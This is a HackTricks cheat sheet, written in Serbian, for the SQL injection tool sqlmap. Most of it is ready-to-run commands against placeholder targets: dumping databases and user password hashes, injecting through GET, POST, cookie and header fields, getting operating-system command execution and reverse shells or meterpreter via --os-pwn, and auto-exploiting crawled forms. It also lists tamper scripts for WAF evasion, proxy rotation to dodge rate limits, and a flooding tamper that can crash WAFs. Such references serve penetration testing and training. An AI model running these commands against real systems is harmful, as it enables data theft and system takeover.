SQLMap

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovni argumenti za SQLmap

Generički

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Zastavice tehnika (--technique)

Argument --technique određuje koje SQL injection metode će sqlmap pokušati. Svaki karakter u nizu predstavlja tehniku:

LetterTechniqueDescription
BBoolean-based blindKoristi true/false uslove za zaključivanje podataka
EError-basedIskorišćava opširne DBMS error poruke za eksfiltraciju rezultata
UUNION queryInjektuje UNION SELECT iskaze da preuzme podatke putem istog kanala
SStacked queriesDodaje dodatne naredbe odvojene znakom ;
TTime-based blindOslanja se na kašnjenja (SLEEP, WAITFOR) da otkrije injekciju
QInline / out-of-bandKoristi funkcije kao što su LOAD_FILE() ili OOB kanale poput DNS-a

Podrazumevani redosled je BEUSTQ. Možete ih preurediti ili ograničiti, npr. samo Boolean i Time-based u tom redosledu:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Preuzimanje informacija

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB podaci

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mesto injekcije

Iz Burp/ZAP snimanja

Presretnite zahtev i kreirajte fajl req.txt

sqlmap -r req.txt --current-user

Injekcija GET zahteva

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u zaglavljima i drugim HTTP metodama

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Pretraži veb sajt sa SQLmap i auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Prilagođavanje Injection

Postavite sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć pri pronalaženju boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperOpis
apostrophemask.pyZamenjuje karakter apostrofa njegovim UTF-8 full width ekvivalentom
apostrophenullencode.pyZamenjuje karakter apostrofa njegovim ilegalnim dvostrukim Unicode ekvivalentom
appendnullbyte.pyDodaje enkodovani NULL bajt na kraj payloada
base64encode.pyBase64 enkodira sve karaktere u datom payloadu
between.pyZamenjuje operator veće od (‘>’) sa ‘NOT BETWEEN 0 AND #’
bluecoat.pyZamenjuje razmak posle SQL izraza sa validnim nasumičnim blank karakterom. Nakon toga zamenjuje karakter = operatorom LIKE
chardoubleencode.pyDuplo url-enkodira sve karaktere u datom payloadu (ne obrađujući već enkodirane)
commalesslimit.pyZamenjuje instance poput ‘LIMIT M, N’ sa ‘LIMIT N OFFSET M’
commalessmid.pyZamenjuje instance poput ‘MID(A, B, C)’ sa ‘MID(A FROM B FOR C)’
concat2concatws.pyZamenjuje instance poput ‘CONCAT(A, B)’ sa ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyUrl-enkodira sve karaktere u datom payloadu (ne obrađujući već enkodirane)
charunicodeencode.pyUnicode-url-enkodira neenkodirane karaktere u datom payloadu (ne obrađujući već enkodirane). “%u0022”
charunicodeescape.pyUnicode-url-enkodira neenkodirane karaktere u datom payloadu (ne obrađujući već enkodirane). “\u0022”
equaltolike.pyZamenjuje sva pojavljivanja operatora jednako (‘=’) operatorom ‘LIKE’
escapequotes.pyEscapuje navodnike kosom crtom (’ i ")
greatest.pyZamenjuje operator veće od (‘>’) sa ekvivalentom ‘GREATEST’
halfversionedmorekeywords.pyDodaje versionisani MySQL komentar pre svakog keyword-a
ifnull2ifisnull.pyZamenjuje instance poput ‘IFNULL(A, B)’ sa ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyObavija kompletan upit versionisanim komentarom
modsecurityzeroversioned.pyObavija kompletan upit komentarom sa verzijom nula
multiplespaces.pyDodaje više razmaka oko SQL keywords
nonrecursivereplacement.pyZamenjuje unapred definisane SQL keywords njihovim reprezentacijama pogodnim za zamenu (npr. .replace(“SELECT”, “”)) filtera
percentage.pyDodaje procentualni znak (‘%’) ispred svakog karaktera
overlongutf8.pyKonvertuje sve karaktere u datom payloadu (ne obrađujući već enkodirane)
randomcase.pyZamenjuje svaki karakter keyword-a nasumičnim velikim/malim slovom
randomcomments.pyDodaje nasumične komentare u SQL keywords
securesphere.pyDodaje posebno konstruisan string
sp_password.pyDodaje ‘sp_password’ na kraj payloada radi automatske obfuskacije u DBMS logovima
space2comment.pyZamenjuje razmak (’ ’) komentarima
space2dash.pyZamenjuje razmak (’ ‘) sa dash komentarom (’–‘) praćenim nasumičnim stringom i novim redom (’\n’)
space2hash.pyZamenjuje razmak (’ ‘) sa znakom (’#‘) praćenim nasumičnim stringom i novim redom (’\n’)
space2morehash.pyZamenjuje razmak (’ ‘) sa znakom (’#‘) praćenim nasumičnim stringom i novim redom (’\n’)
space2mssqlblank.pyZamenjuje razmak (’ ’) nasumičnim blank karakterom iz validnog skupa alternativnih karaktera
space2mssqlhash.pyZamenjuje razmak (’ ‘) sa znakom (’#‘) praćenim novim redom (’\n’)
space2mysqlblank.pyZamenjuje razmak (’ ’) nasumičnim blank karakterom iz validnog skupa alternativnih karaktera
space2mysqldash.pyZamenjuje razmak (’ ‘) sa dash komentarom (’–‘) praćenim novim redom (’\n’)
space2plus.pyZamenjuje razmak (’ ‘) sa plusom (’+’)
space2randomblank.pyZamenjuje razmak (’ ’) nasumičnim blank karakterom iz validnog skupa alternativnih karaktera
symboliclogical.pyZamenjuje logičke operatore AND i OR njihovim simboličkim ekvivalentima (&& i ||)
unionalltounion.pyZamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.pyZamenjuje karakter navodnika (’) multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)
uppercase.pyZamenjuje svaki karakter keyword-a velikim slovima ‘INSERT’
varnish.pyDodaje HTTP header ‘X-originating-IP’
versionedkeywords.pyObuhvata svaki ne-funkcijski keyword versionisanim MySQL komentarom
versionedmorekeywords.pyObuhvata svaki keyword versionisanim MySQL komentarom
xforwardedfor.pyDodaje lažni HTTP header ‘X-Forwarded-For’
luanginxmore.pyTamper samo za POST koji prethodi milionima dummy parametara da iscrpi Lua‑Nginx WAF parsere (npr. Cloudflare).

luanginxmore generiše ~4.2M nasumičnih POST parametara pre vašeg payloada; koristite ga samo sa --method=POST i očekujte velike veličine zahteva koje mogu oboriti slabo konfigurisane Lua-Nginx WAF-ove.

Nedavne opcije koje vredi omogućiti (>=1.9.x)

  • HTTP/2 transport: --http2 forsira sqlmap da koristi HTTP/2 (korisno protiv front-endova koji rate-limituju HTTP/1.1, ali opuštaju h2). Kombinujte sa --force-ssl da primorate HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 će rotirati kroz listu, menjajući proxy na svakih 3 zahteva da bi se izbeglo ograničavanje po IP-u.
  • Offline / purge modes: --offline ponovo koristi keširane podatke sesije bez kontaktiranja cilja (nula mrežnog saobraćaja), dok --purge bezbedno briše session/output direktorijum kad završite.
  • Mobile UA emulation: --mobile podstiče vas da spoof-ujete popularni smartphone User-Agent, korisno za API-je koji izlažu dodatna polja mobilnim klijentima.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks